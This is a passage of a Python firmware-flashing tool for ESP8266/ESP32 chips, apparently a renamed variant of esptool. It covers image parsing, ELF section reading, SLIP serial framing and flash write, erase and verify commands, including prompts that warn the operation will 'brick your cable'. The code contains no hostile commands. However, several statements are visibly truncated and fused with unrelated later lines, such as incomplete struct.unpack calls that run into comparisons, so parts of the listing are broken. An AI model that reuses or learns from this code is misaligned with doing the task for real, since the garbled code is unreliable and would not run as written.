0x3\n features += [\"Coding Scheme %s\" % {\n 0: \"None\",\n 1: \"3/4\",\n 2: \"Repeat (UNSUPPORTED)\",\n 3: \"Invalid\"}[coding_scheme]]\n\n return features\n\n def read_efuse(self, n):\n\n return self.read_reg(self.EFUSE_REG_BASE + (4 * n))\n\n def chip_id(self):\n raise NotSupportedError(self, \"chip_id\")\n\n def read_mac(self):\n\n words = [self.read_efuse(2), self.read_efuse(1)]\n bitstring = struct.pack(\">II\", *words)\n bitstring = bitstring[2:8]\n try:\n return tuple(ord(b) for b in bitstring)\n except TypeError:\n return tuple(bitstring)\n\n def get_erase_size(self, offset, size):\n return size\n\n def override_vddsdio(self, new_voltage):\n new_voltage = new_voltage.upper()\n if new_voltage not in self.OVERRIDE_VDDSDIO_CHOICES:\n raise FatalError(\"The only accepted VDDSDIO overrides are '1.8V', '1.9V' and 'OFF'\")\n RTC_CNTL_SDIO_CONF_REG = 0x3ff48074\n RTC_CNTL_XPD_SDIO_REG = (1 << 31)\n RTC_CNTL_DREFH_SDIO_M = (3 << 29)\n RTC_CNTL_DREFM_SDIO_M = (3 << 27)\n RTC_CNTL_DREFL_SDIO_M = (3 << 25)\n\n RTC_CNTL_SDIO_FORCE = (1 << 22)\n RTC_CNTL_SDIO_PD_EN = (1 << 21)\n\n reg_val = RTC_CNTL_SDIO_FORCE\n reg_val |= RTC_CNTL_SDIO_PD_EN\n if new_voltage != \"OFF\":\n reg_val |= RTC_CNTL_XPD_SDIO_REG\n if new_voltage == \"1.9V\":\n reg_val |= (RTC_CNTL_DREFH_SDIO_M | RTC_CNTL_DREFM_SDIO_M | RTC_CNTL_DREFL_SDIO_M)\n self.write_reg(RTC_CNTL_SDIO_CONF_REG, reg_val)\n print(\"VDDSDIO regulator set to %s\" % new_voltage)\n\n\nclass ESP32StubLoader(ESP32ROM):\n FLASH_WRITE_SIZE = 0x4000\n STATUS_BYTES_LENGTH = 2\n IS_STUB = True\n\n def __init__(self, rom_loader):\n self._port = rom_loader._port\n self._trace_enabled = rom_loader._trace_enabled\n self.flush_input()\n\n\nESP32ROM.STUB_CLASS = ESP32StubLoader\n\n\nclass ESPBOOTLOADER(object):\n IMAGE_V2_MAGIC = 0xea\n\n IMAGE_V2_SEGMENT = 4\n\n\ndef LoadFirmwareImage(chip, filename):\n with open(filename, 'rb') as f:\n if chip.lower() == 'esp32':\n return ESP32FirmwareImage(f)\n else:\n magic = ord(f.read(1))\n f.seek(0)\n if magic == ESPLoader.ESP_IMAGE_MAGIC:\n return ESP8266ROMFirmwareImage(f)\n elif magic == ESPBOOTLOADER.IMAGE_V2_MAGIC:\n return ESP8266V2FirmwareImage(f)\n else:\n raise FatalError(\"Invalid image magic number: %d\" % magic)\n\n\nclass ImageSegment(object):\n def __init__(self, addr, data, file_offs=None):\n self.addr = addr\n self.data = data\n self.file_offs = file_offs\n self.include_in_checksum = True\n if self.addr != 0:\n self.pad_to_alignment(4)\n\n def copy_with_new_addr(self, new_addr):\n return ImageSegment(new_addr, self.data, 0)\n\n def split_image(self, split_len):\n result = copy.copy(self)\n result.data = self.data[:split_len]\n self.data = self.data[split_len:]\n self.addr += split_len\n self.file_offs = None\n result.file_offs = None\n return result\n\n def __repr__(self):\n r = \"len 0x%05x load 0x%08x\" % (len(self.data), self.addr)\n if self.file_offs is not None:\n r += \" file_offs 0x%08x\" % (self.file_offs)\n return r\n\n def pad_to_alignment(self, alignment):\n self.data = pad_to(self.data, alignment, b'\\x00')\n\n\nclass ELFSection(ImageSegment):\n def __init__(self, name, addr, data):\n super(ELFSection, self).__init__(addr, data)\n self.name = name.decode(\"utf-8\")\n\n def __repr__(self):\n return \"%s %s\" % (self.name, super(ELFSection, self).__repr__())\n\n\nclass BaseFirmwareImage(object):\n SEG_HEADER_LEN = 8\n SHA256_DIGEST_LEN = 32\n\n def __init__(self):\n self.segments = []\n self.entrypoint = 0\n self.elf_sha256 = None\n self.elf_sha256_offset = 0\n\n def load_common_header(self, load_file, expected_magic):\n (magic, segments, self.flash_mode, self.flash_size_freq, self.entrypoint) = struct.unpack(' 16:\n raise FatalError('Invalid segment count %d (max 16). Usually this indicates a linker script problem.' % len(self.segments))\n\n def load_segment(self, f, is_irom_segment=False):\n\n file_offs = f.tell()\n (offset, size) = struct.unpack(' 0x40200000 or offset < 0x3ffe0000 or size > 65536:\n print('WARNING: Suspicious segment 0x%x, length %d' % (offset, size))\n\n def maybe_patch_segment_data(self, f, segment_data):\n\n segment_len = len(segment_data)\n file_pos = f.tell()\n if self.elf_sha256_offset >= file_pos and self.elf_sha256_offset < file_pos + segment_len:\n\n patch_offset = self.elf_sha256_offset - file_pos\n\n if patch_offset < self.SEG_HEADER_LEN or patch_offset + self.SHA256_DIGEST_LEN > segment_len:\n raise FatalError('Cannot place SHA256 digest on segment boundary' +\n '(elf_sha256_offset=%d, file_pos=%d, segment_size=%d)' %\n (self.elf_sha256_offset, file_pos, segment_len))\n if segment_data[patch_offset:patch_offset + self.SHA256_DIGEST_LEN] != b'\\x00' * self.SHA256_DIGEST_LEN:\n raise FatalError('Contents of segment at SHA256 digest offset 0x%x are not all zero. Refusing to overwrite.' %\n self.elf_sha256_offset)\n assert (len(self.elf_sha256) == self.SHA256_DIGEST_LEN)\n\n patch_offset -= self.SEG_HEADER_LEN\n segment_data = segment_data[0:patch_offset] + self.elf_sha256 + \\\n segment_data[patch_offset + self.SHA256_DIGEST_LEN:]\n return segment_data\n\n def save_segment(self, f, segment, checksum=None):\n\n segment_data = self.maybe_patch_segment_data(f, segment.data)\n f.write(struct.pack(' 0:\n if len(irom_segments) != 1:\n raise FatalError('Found %d segments that could be irom0. Bad ELF file?' % len(irom_segments))\n return irom_segments[0]\n return None\n\n def get_non_irom_segments(self):\n irom_segment = self.get_irom_segment()\n return [s for s in self.segments if s != irom_segment]\n\n\nclass ESP8266ROMFirmwareImage(BaseFirmwareImage):\n ROM_LOADER = ESP8266ROM\n\n def __init__(self, load_file=None):\n super(ESP8266ROMFirmwareImage, self).__init__()\n self.flash_mode = 0\n self.flash_size_freq = 0\n self.version = 1\n\n if load_file is not None:\n segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC)\n\n for _ in range(segments):\n self.load_segment(load_file)\n self.checksum = self.read_checksum(load_file)\n\n self.verify()\n\n def default_output_name(self, input_file):\n\n return input_file + '-'\n\n def save(self, basename):\n\n irom_segment = self.get_irom_segment()\n if irom_segment is not None:\n with open(\"%s0x%05x.bin\" % (basename, irom_segment.addr - ESP8266ROM.IROM_MAP_START), \"wb\") as f:\n f.write(irom_segment.data)\n\n normal_segments = self.get_non_irom_segments()\n with open(\"%s0x00000.bin\" % basename, 'wb') as f:\n self.write_common_header(f, normal_segments)\n checksum = ESPLoader.ESP_CHECKSUM_MAGIC\n for segment in normal_segments:\n checksum = self.save_segment(f, segment, checksum)\n self.append_checksum(f, checksum)\n\n\nclass ESP8266V2FirmwareImage(BaseFirmwareImage):\n ROM_LOADER = ESP8266ROM\n\n def __init__(self, load_file=None):\n super(ESP8266V2FirmwareImage, self).__init__()\n self.version = 2\n if load_file is not None:\n segments = self.load_common_header(load_file, ESPBOOTLOADER.IMAGE_V2_MAGIC)\n if segments != ESPBOOTLOADER.IMAGE_V2_SEGMENT:\n print('Warning: V2 header has unexpected \"segment\" count %d (usually 4)' % segments)\n\n irom_segment = self.load_segment(load_file, True)\n irom_segment.addr = 0\n irom_segment.include_in_checksum = False\n\n first_flash_mode = self.flash_mode\n first_flash_size_freq = self.flash_size_freq\n first_entrypoint = self.entrypoint\n\n segments = self.load_common_header(load_file, ESPLoader.ESP_IMAGE_MAGIC)\n\n if first_flash_mode != self.flash_mode:\n print('WARNING: Flash mode value in first header (0x%02x) disagrees with second (0x%02x). Using second value.'\n % (first_flash_mode, self.flash_mode))\n if first_flash_size_freq != self.flash_size_freq:\n print('WARNING: Flash size/freq value in first header (0x%02x) disagrees with second (0x%02x). Using second value.'\n % (first_flash_size_freq, self.flash_size_freq))\n if first_entrypoint != self.entrypoint:\n print('WARNING: Entrypoint address in first header (0x%08x) disagrees with second header (0x%08x). Using second value.'\n % (first_entrypoint, self.entrypoint))\n\n for _ in range(segments):\n self.load_segment(load_file)\n self.checksum = self.read_checksum(load_file)\n\n self.verify()\n\n def default_output_name(self, input_file):\n\n irom_segment = self.get_irom_segment()\n if irom_segment is not None:\n irom_offs = irom_segment.addr - ESP8266ROM.IROM_MAP_START\n else:\n irom_offs = 0\n return \"%s-0x%05x.bin\" % (os.path.splitext(input_file)[0],\n irom_offs & ~(ESPLoader.FLASH_SECTOR_SIZE - 1))\n\n def save(self, filename):\n with open(filename, 'wb') as f:\n\n f.write(struct.pack(b' 0:\n last_addr = flash_segments[0].addr\n for segment in flash_segments[1:]:\n if segment.addr // self.IROM_ALIGN == last_addr // self.IROM_ALIGN:\n raise FatalError((\"Segment loaded at 0x%08x lands in same 64KB flash mapping as segment loaded at 0x%08x. \" +\n \"Can't generate binary. Suggest changing linker script or ELF to merge sections.\") %\n (segment.addr, last_addr))\n last_addr = segment.addr\n\n def get_alignment_data_needed(segment):\n\n #\n\n align_past = (segment.addr % self.IROM_ALIGN) - self.SEG_HEADER_LEN\n pad_len = (self.IROM_ALIGN - (f.tell() % self.IROM_ALIGN)) + align_past\n if pad_len == 0 or pad_len == self.IROM_ALIGN:\n return 0\n\n pad_len -= self.SEG_HEADER_LEN\n if pad_len < 0:\n pad_len += self.IROM_ALIGN\n return pad_len\n\n while len(flash_segments) > 0:\n segment = flash_segments[0]\n pad_len = get_alignment_data_needed(segment)\n if pad_len > 0:\n if len(ram_segments) > 0 and pad_len > self.SEG_HEADER_LEN:\n pad_segment = ram_segments[0].split_image(pad_len)\n if len(ram_segments[0].data) == 0:\n ram_segments.pop(0)\n else:\n pad_segment = ImageSegment(0, b'\\x00' * pad_len, f.tell())\n checksum = self.save_segment(f, pad_segment, checksum)\n total_segments += 1\n else:\n\n assert (f.tell() + 8) % self.IROM_ALIGN == segment.addr % self.IROM_ALIGN\n checksum = self.save_flash_segment(f, segment, checksum)\n flash_segments.pop(0)\n total_segments += 1\n\n for segment in ram_segments:\n checksum = self.save_segment(f, segment, checksum)\n total_segments += 1\n\n if self.secure_pad:\n\n if not self.append_digest:\n raise FatalError(\"secure_pad only applies if a SHA-256 digest is also appended to the image\")\n align_past = (f.tell() + self.SEG_HEADER_LEN) % self.IROM_ALIGN\n\n checksum_space = 16\n\n space_after_checksum = 32 + 4 + 64 + 12\n pad_len = (self.IROM_ALIGN - align_past - checksum_space - space_after_checksum) % self.IROM_ALIGN\n pad_segment = ImageSegment(0, b'\\x00' * pad_len, f.tell())\n\n checksum = self.save_segment(f, pad_segment, checksum)\n total_segments += 1\n\n self.append_checksum(f, checksum)\n image_length = f.tell()\n\n if self.secure_pad:\n assert ((image_length + space_after_checksum) % self.IROM_ALIGN) == 0\n\n f.seek(1)\n try:\n f.write(chr(total_segments))\n except TypeError:\n f.write(bytes([total_segments]))\n\n if self.append_digest:\n f.seek(0)\n digest = hashlib.sha256()\n digest.update(f.read(image_length))\n f.write(digest.digest())\n\n with open(filename, 'wb') as real_file:\n real_file.write(f.getvalue())\n\n def save_flash_segment(self, f, segment, checksum=None):\n\n segment_end_pos = f.tell() + len(segment.data) + self.SEG_HEADER_LEN\n segment_len_remainder = segment_end_pos % self.IROM_ALIGN\n if segment_len_remainder < 0x24:\n segment.data += b'\\x00' * (0x24 - segment_len_remainder)\n return self.save_segment(f, segment, checksum)\n\n def load_extended_header(self, load_file):\n def split_byte(n):\n return (n & 0x0F, (n >> 4) & 0x0F)\n\n fields = list(struct.unpack(self.EXTENDED_HEADER_STRUCT_FMT, load_file.read(16)))\n\n self.wp_pin = fields[0]\n\n self.clk_drv, self.q_drv = split_byte(fields[1])\n self.d_drv, self.cs_drv = split_byte(fields[2])\n self.hd_drv, self.wp_drv = split_byte(fields[3])\n\n if fields[15] in [0, 1]:\n self.append_digest = (fields[15] == 1)\n else:\n raise RuntimeError(\"Invalid value for append_digest field (0x%02x). Should be 0 or 1.\", fields[15])\n\n if any(f for f in fields[4:15] if f != 0):\n print(\"Warning: some reserved header fields have non-zero values. This image may be from a newer flashapi.py?\")\n\n def save_extended_header(self, save_file):\n def join_byte(ln, hn):\n return (ln & 0x0F) + ((hn & 0x0F) << 4)\n\n append_digest = 1 if self.append_digest else 0\n\n fields = [self.wp_pin,\n join_byte(self.clk_drv, self.q_drv),\n join_byte(self.d_drv, self.cs_drv),\n join_byte(self.hd_drv, self.wp_drv)]\n fields += [0] * 11\n fields += [append_digest]\n\n packed = struct.pack(self.EXTENDED_HEADER_STRUCT_FMT, *fields)\n save_file.write(packed)\n\n\nclass ELFFile(object):\n SEC_TYPE_PROGBITS = 0x01\n SEC_TYPE_STRTAB = 0x03\n\n LEN_SEC_HEADER = 0x28\n\n def __init__(self, name):\n\n self.name = name\n with open(self.name, 'rb') as f:\n self._read_elf_file(f)\n\n def get_section(self, section_name):\n for s in self.sections:\n if s.name == section_name:\n return s\n raise ValueError(\"No section %s in ELF file\" % section_name)\n\n def _read_elf_file(self, f):\n\n LEN_FILE_HEADER = 0x34\n try:\n (ident, _type, machine, _version,\n self.entrypoint, _phoff, shoff, _flags,\n _ehsize, _phentsize, _phnum, shentsize,\n shnum, shstrndx) = struct.unpack(\"<16sHHLLLLLHHHHHH\", f.read(LEN_FILE_HEADER))\n except struct.error as e:\n raise FatalError(\"Failed to read a valid ELF header from %s: %s\" % (self.name, e))\n\n if byte(ident, 0) != 0x7f or ident[1:4] != b'ELF':\n raise FatalError(\"%s has invalid ELF magic header\" % self.name)\n if machine != 0x5e:\n raise FatalError(\"%s does not appear to be an Xtensa ELF file. e_machine=%04x\" % (self.name, machine))\n if shentsize != self.LEN_SEC_HEADER:\n raise FatalError(\"%s has unexpected section header entry size 0x%x (not 0x28)\" % (self.name, shentsize, self.LEN_SEC_HEADER))\n if shnum == 0:\n raise FatalError(\"%s has 0 section headers\" % (self.name))\n self._read_sections(f, shoff, shnum, shstrndx)\n\n def _read_sections(self, f, section_header_offs, section_header_count, shstrndx):\n f.seek(section_header_offs)\n len_bytes = section_header_count * self.LEN_SEC_HEADER\n section_header = f.read(len_bytes)\n if len(section_header) == 0:\n raise FatalError(\"No section header found at offset %04x in ELF file.\" % section_header_offs)\n if len(section_header) != (len_bytes):\n raise FatalError(\"Only read 0x%x bytes from section header (expected 0x%x.) Truncated ELF file?\" % (len(section_header), len_bytes))\n\n section_header_offsets = range(0, len(section_header), self.LEN_SEC_HEADER)\n\n def read_section_header(offs):\n name_offs, sec_type, _flags, lma, sec_offs, size = struct.unpack_from(\" 0]\n self.sections = prog_sections\n\n def sha256(self):\n\n sha256 = hashlib.sha256()\n with open(self.name, 'rb') as f:\n sha256.update(f.read())\n return sha256.digest()\n\n\ndef slip_reader(port, trace_function):\n partial_packet = None\n in_escape = False\n while True:\n waiting = port.inWaiting()\n read_bytes = port.read(1 if waiting == 0 else waiting)\n if read_bytes == b'':\n waiting_for = \"header\" if partial_packet is None else \"content\"\n trace_function(\"Timed out waiting for packet %s\", waiting_for)\n raise FatalError(\"Timed out waiting for packet %s\" % waiting_for)\n trace_function(\"Read %d bytes: %s\", len(read_bytes), HexFormatter(read_bytes))\n for b in read_bytes:\n if type(b) is int:\n b = bytes([b])\n\n if partial_packet is None:\n if b == b'\\xc0':\n partial_packet = b\"\"\n else:\n trace_function(\"Read invalid data: %s\", HexFormatter(read_bytes))\n trace_function(\"Remaining data in serial buffer: %s\", HexFormatter(port.read(port.inWaiting())))\n raise FatalError('Invalid head of packet (0x%s)' % hexify(b))\n elif in_escape:\n in_escape = False\n if b == b'\\xdc':\n partial_packet += b'\\xc0'\n elif b == b'\\xdd':\n partial_packet += b'\\xdb'\n else:\n trace_function(\"Read invalid data: %s\", HexFormatter(read_bytes))\n trace_function(\"Remaining data in serial buffer: %s\", HexFormatter(port.read(port.inWaiting())))\n raise FatalError('Invalid SLIP escape (0xdb, 0x%s)' % (hexify(b)))\n elif b == b'\\xdb':\n in_escape = True\n elif b == b'\\xc0':\n trace_function(\"Received full packet: %s\", HexFormatter(partial_packet))\n yield partial_packet\n partial_packet = None\n else:\n partial_packet += b\n\n\ndef arg_auto_int(x):\n return int(x, 0)\n\n\ndef div_roundup(a, b):\n return (int(a) + int(b) - 1) // int(b)\n\n\ndef align_file_position(f, size):\n align = (size - 1) - (f.tell() % size)\n f.seek(align, 1)\n\n\ndef flash_size_bytes(size):\n if \"MB\" in size:\n return int(size[:size.index(\"MB\")]) * 1024 * 1024\n elif \"KB\" in size:\n return int(size[:size.index(\"KB\")]) * 1024\n else:\n raise FatalError(\"Unknown size %s\" % size)\n\n\ndef hexify(s, uppercase=True):\n format_str = '%02X' if uppercase else '%02x'\n if not PYTHON2:\n return ''.join(format_str % c for c in s)\n else:\n return ''.join(format_str % ord(c) for c in s)\n\n\nclass HexFormatter(object):\n\n def __init__(self, binary_string, auto_split=True):\n self._s = binary_string\n self._auto_split = auto_split\n\n def __str__(self):\n if self._auto_split and len(self._s) > 16:\n result = \"\"\n s = self._s\n while len(s) > 0:\n line = s[:16]\n ascii_line = \"\".join(c if (c == ' ' or (c in string.printable and c not in string.whitespace))\n else '.' for c in line.decode('ascii', 'replace'))\n s = s[16:]\n result += \"\\n %-16s %-16s | %s\" % (hexify(line[:8], False), hexify(line[8:], False), ascii_line)\n return result\n else:\n return hexify(self._s, False)\n\n\ndef pad_to(data, alignment, pad_character=b'\\xFF'):\n pad_mod = len(data) % alignment\n if pad_mod != 0:\n data += pad_character * (alignment - pad_mod)\n return data\n\n\nclass FatalError(RuntimeError):\n def __init__(self, message):\n RuntimeError.__init__(self, message)\n\n @staticmethod\n def WithResult(message, result):\n message += \" (result was %s)\" % hexify(result)\n return FatalError(message)\n\n\nclass NotImplementedInROMError(FatalError):\n def __init__(self, bootloader, func):\n FatalError.__init__(self, \"%s ROM does not support function %s.\" % (bootloader.CHIP_NAME, func.__name__))\n\n\nclass NotSupportedError(FatalError):\n def __init__(self, esp, function_name):\n FatalError.__init__(self, \"Function %s is not supported for %s.\" % (function_name, esp.CHIP_NAME))\n\n\n#\n\n\ndef load_ram(esp, args):\n image = LoadFirmwareImage(esp.CHIP_NAME, args.filename)\n\n print('RAM boot...')\n for seg in image.segments:\n size = len(seg.data)\n print('Downloading %d bytes at %08x...' % (size, seg.addr), end=' ')\n sys.stdout.flush()\n esp.mem_begin(size, div_roundup(size, esp.ESP_RAM_BLOCK), esp.ESP_RAM_BLOCK, seg.addr)\n\n seq = 0\n while len(seg.data) > 0:\n esp.mem_block(seg.data[0:esp.ESP_RAM_BLOCK], seq)\n seg.data = seg.data[esp.ESP_RAM_BLOCK:]\n seq += 1\n print('done!')\n\n print('All segments done, executing at %08x' % image.entrypoint)\n esp.mem_finish(image.entrypoint)\n\n\ndef read_mem(esp, args):\n print('0x%08x = 0x%08x' % (args.address, esp.read_reg(args.address)))\n\n\ndef write_mem(esp, args):\n esp.write_reg(args.address, args.value, args.mask, 0)\n print('Wrote %08x, mask %08x to %08x' % (args.value, args.mask, args.address))\n\n\ndef dump_mem(esp, args):\n with open(args.filename, 'wb') as f:\n for i in range(args.size // 4):\n d = esp.read_reg(args.address + (i * 4))\n f.write(struct.pack(b'> 16\n args.flash_size = DETECTED_FLASH_SIZES.get(size_id)\n if args.flash_size is None:\n print('Warning: Could not auto-detect Flash size (FlashID=0x%x, SizeID=0x%x), defaulting to 4MB' % (flash_id, size_id))\n args.flash_size = '4MB'\n else:\n print('Auto-detected Flash size:', args.flash_size)\n\n\ndef _update_image_flash_params(esp, address, args, image):\n if len(image) < 8:\n return image\n\n magic, _, flash_mode, flash_size_freq = struct.unpack(\"BBBB\", image[:4])\n if address != esp.BOOTLOADER_FLASH_OFFSET or magic != esp.ESP_IMAGE_MAGIC:\n return image\n\n if args.flash_mode != 'keep':\n flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode]\n\n flash_freq = flash_size_freq & 0x0F\n if args.flash_freq != 'keep':\n flash_freq = {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq]\n\n flash_size = flash_size_freq & 0xF0\n if args.flash_size != 'keep':\n flash_size = esp.parse_flash_size_arg(args.flash_size)\n\n flash_params = struct.pack(b'BB', flash_mode, flash_size + flash_freq)\n if flash_params != image[2:4]:\n print('Flash params set to 0x%04x' % struct.unpack(\">H\", flash_params))\n image = image[0:2] + flash_params + image[4:]\n return image\n\n\ndef write_flash(esp, args):\n if args.compress is None and not args.no_compress:\n args.compress = not args.no_stub\n\n if args.encrypt:\n do_write = True\n crypt_cfg_efuse = esp.get_flash_crypt_config()\n\n if crypt_cfg_efuse != 0xF:\n print('\\nWARNING: Unexpected FLASH_CRYPT_CONFIG value', hex(crypt_cfg_efuse))\n print('\\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation')\n do_write = False\n\n enc_key_valid = esp.is_flash_encryption_key_valid()\n\n if not enc_key_valid:\n print('\\nFlash encryption key is not programmed')\n print('\\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation')\n do_write = False\n\n if (esp.FLASH_WRITE_SIZE % 32) != 0:\n print('\\nWARNING - Flash write address is not aligned to the recommeded 32 bytes')\n do_write = False\n\n if not do_write and not args.ignore_flash_encryption_efuse_setting:\n raise FatalError(\"Incorrect efuse setting: aborting flash write\")\n\n if args.flash_size != 'keep':\n flash_end = flash_size_bytes(args.flash_size)\n for address, argfile in args.addr_filename:\n argfile.seek(0, 2)\n if address + argfile.tell() > flash_end:\n raise FatalError((\"File %s (length %d) at offset %d will not fit in %d bytes of flash. \" +\n \"Use --flash-size argument, or change flashing address.\")\n % (argfile.name, argfile.tell(), address, flash_end))\n argfile.seek(0)\n\n if args.erase_all:\n warn_stage1 = input(\"WARNING THIS WILL BRICK YOUR CABLE. ARE YOU SURE YOU WANT TO DO THIS?\")\n warn_stage2 = input(\"ARE YOU REALLY SURE YOU WANT TO BRICK YOUR CABLE?\")\n print(warn_stage1)\n if warn_stage1 == 'y':\n print(warn_stage2)\n if warn_stage2 == 'y':\n erase_flash(esp, args)\n else:\n print(\"Erase did not run because you did not press: y\")\n\n if args.encrypt and args.compress:\n print('\\nWARNING: - compress and encrypt options are mutually exclusive ')\n print('Will flash uncompressed')\n args.compress = False\n\n for address, argfile in args.addr_filename:\n if args.no_stub:\n print('Erasing flash...')\n image = pad_to(argfile.read(), 32 if args.encrypt else 4)\n if len(image) == 0:\n print('WARNING: File %s is empty' % argfile.name)\n continue\n image = _update_image_flash_params(esp, address, args, image)\n calcmd5 = hashlib.md5(image).hexdigest()\n uncsize = len(image)\n if args.compress:\n uncimage = image\n image = zlib.compress(uncimage, 9)\n ratio = uncsize / len(image)\n blocks = esp.flash_defl_begin(uncsize, len(image), address)\n else:\n ratio = 1.0\n blocks = esp.flash_begin(uncsize, address)\n argfile.seek(0)\n seq = 0\n written = 0\n t = time.time()\n while len(image) > 0:\n print('\\rWriting at 0x%08x... (%d %%)' % (address + seq * esp.FLASH_WRITE_SIZE, 100 * (seq + 1) // blocks), end='')\n sys.stdout.flush()\n block = image[0:esp.FLASH_WRITE_SIZE]\n if args.compress:\n esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio * 2)\n else:\n\n block = block + b'\\xff' * (esp.FLASH_WRITE_SIZE - len(block))\n if args.encrypt:\n esp.flash_encrypt_block(block, seq)\n else:\n esp.flash_block(block, seq)\n image = image[esp.FLASH_WRITE_SIZE:]\n seq += 1\n written += len(block)\n t = time.time() - t\n speed_msg = \"\"\n if args.compress:\n if t > 0.0:\n speed_msg = \" (effective %.1f kbit/s)\" % (uncsize / t * 8 / 1000)\n print('\\rWrote %d bytes (%d compressed) at 0x%08x in %.1f seconds%s...' % (uncsize, written, address, t, speed_msg))\n else:\n if t > 0.0:\n speed_msg = \" (%.1f kbit/s)\" % (written / t * 8 / 1000)\n print('\\rWrote %d bytes at 0x%08x in %.1f seconds%s...' % (written, address, t, speed_msg))\n\n if not args.encrypt:\n try:\n res = esp.flash_md5sum(address, uncsize)\n if res != calcmd5:\n print('File md5: %s' % calcmd5)\n print('Flash md5: %s' % res)\n print('MD5 of 0xFF is %s' % (hashlib.md5(b'\\xFF' * uncsize).hexdigest()))\n raise FatalError(\"MD5 of file does not match data in flash!\")\n else:\n print('Hash of data verified.')\n except NotImplementedInROMError:\n pass\n\n print('\\nLeaving...')\n\n if esp.IS_STUB:\n\n esp.flash_begin(0, 0)\n if args.compress:\n esp.flash_defl_finish(False)\n else:\n esp.flash_finish(False)\n\n if args.verify:\n print('Verifying just-written flash...')\n print('(This option is deprecated, flash contents are now always read back after flashing.)')\n verify_flash(esp, args)\n\n\ndef image_info(args):\n image = LoadFirmwareImage(args.chip, args.filename)\n print('Image version: %d' % image.version)\n print('Entry point: %08x' % image.entrypoint if image.entrypoint != 0 else 'Entry point not set')\n print('%d segments' % len(image.segments))\n print\n idx = 0\n for seg in image.segments:\n idx += 1\n print('Segment %d: %r' % (idx, seg))\n calc_checksum = image.calculate_checksum()\n print('Checksum: %02x (%s)' % (image.checksum,\n 'valid' if image.checksum == calc_checksum else 'invalid - calculated %02x' % calc_checksum))\n try:\n digest_msg = 'Not appended'\n if image.append_digest:\n is_valid = image.stored_digest == image.calc_digest\n digest_msg = \"%s (%s)\" % (hexify(image.calc_digest).lower(),\n \"valid\" if is_valid else \"invalid\")\n print('Validation Hash: %s' % digest_msg)\n except AttributeError:\n pass\n\n\ndef make_image(args):\n image = ESP8266ROMFirmwareImage()\n if len(args.segfile) == 0:\n raise FatalError('No segments specified')\n if len(args.segfile) != len(args.segaddr):\n raise FatalError('Number of specified files does not match number of specified addresses')\n for (seg, addr) in zip(args.segfile, args.segaddr):\n with open(seg, 'rb') as f:\n data = f.read()\n image.segments.append(ImageSegment(addr, data))\n image.entrypoint = args.entrypoint\n image.save(args.output)\n\n\ndef elf2image(args):\n e = ELFFile(args.input)\n if args.chip == 'auto':\n print(\"Creating image for ESP8266...\")\n args.chip = 'esp8266'\n\n if args.chip == 'esp32':\n image = ESP32FirmwareImage()\n image.secure_pad = args.secure_pad\n elif args.version == '1':\n image = ESP8266ROMFirmwareImage()\n else:\n image = ESP8266V2FirmwareImage()\n image.entrypoint = e.entrypoint\n image.segments = e.sections\n image.flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode]\n image.flash_size_freq = image.ROM_LOADER.FLASH_SIZES[args.flash_size]\n image.flash_size_freq += {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq]\n\n if args.elf_sha256_offset:\n image.elf_sha256 = e.sha256()\n image.elf_sha256_offset = args.elf_sha256_offset\n\n image.verify()\n\n if args.output is None:\n args.output = image.default_output_name(args.input)\n image.save(args.output)\n\n\ndef read_mac(esp, args):\n mac = esp.read_mac()\n\n def print_mac(label, mac):\n print('%s: %s' % (label, ':'.join(map(lambda x: '%02x' % x, mac))))\n\n print_mac(\"MAC\", mac)\n\n\ndef chip_id(esp, args):\n try:\n chipid = esp.chip_id()\n print('Chip ID: 0x%08x' % chipid)\n except NotSupportedError:\n print('Warning: %s has no Chip ID. Reading MAC instead.' % esp.CHIP_NAME)\n read_mac(esp, args)\n\n\ndef erase_flash(esp, args):\n print('Erasing flash (this may take a while)...')\n t = time.time()\n esp.erase_flash()\n print('Chip erase completed successfully in %.1fs' % (time.time() - t))\n\n\ndef erase_region(esp, args):\n print('Erasing region (may be slow depending on size)...')\n t = time.time()\n esp.erase_region(args.address, args.size)\n print('Erase completed successfully in %.1f seconds.' % (time.time() - t))\n\n\ndef run(esp, args):\n esp.run()\n\n\ndef flash_id(esp, args):\n flash_id = esp.flash_id()\n print('Manufacturer: %02x' % (flash_id & 0xff))\n flid_lowbyte = (flash_id >> 16) & 0xFF\n print('Device: %02x%02x' % ((flash_id >> 8) & 0xff, flid_lowbyte))\n print('Detected flash size: %s' % (DETECTED_FLASH_SIZES.get(flid_lowbyte, \"Unknown\")))\n\n\ndef read_flash(esp, args):\n if args.no_progress:\n flash_progress = None\n else:\n def flash_progress(progress, length):\n msg = '%d (%d %%)' % (progress, progress * 100.0 / length)\n padding = '\\b' * len(msg)\n if progress == length:\n padding = '\\n'\n sys.stdout.write(msg + padding)\n sys.stdout.flush()\n t = time.time()\n data = esp.read_flash(args.address, args.size, flash_progress)\n t = time.time() - t\n print('\\rRead %d bytes at 0x%x in %.1f seconds (%.1f kbit/s)...'\n % (len(data), args.address, t, len(data) / t * 8 / 1000))\n with open(args.filename, 'wb') as f:\n f.write(data)\n\n\ndef verify_flash(esp, args):\n differences = False\n\n for address, argfile in args.addr_filename:\n image = pad_to(argfile.read(), 4)\n argfile.seek(0)\n\n image = _update_image_flash_params(esp, address, args, image)\n\n image_size = len(image)\n print('Verifying 0x%x (%d) bytes @ 0x%08x in flash against %s...' % (image_size, image_size, address, argfile.name))\n\n digest = esp.flash_md5sum(address, image_size)\n expected_digest = hashlib.md5(image).hexdigest()\n if digest == expected_digest:\n print('-- verify OK (digest matched)')\n continue\n else:\n differences = True\n if getattr(args, 'diff', 'no') != 'yes':\n print('-- verify FAILED (digest mismatch)')\n continue\n\n flash = esp.read_flash(address, image_size)\n assert flash != image\n diff = [i for i in range(image_size) if flash[i] != image[i]]\n print('-- verify FAILED: %d differences, first @ 0x%08x' % (len(diff), address + diff[0]))\n for d in diff:\n flash_byte = flash[d]\n image_byte = image[d]\n if PYTHON2:\n flash_byte = ord(flash_byte)\n image_byte = ord(image_byte)\n print(' %08x %02x %02x' % (address + d, flash_byte, image_byte))\n if differences:\n raise FatalError(\"Verify failed.\")\n\n\ndef 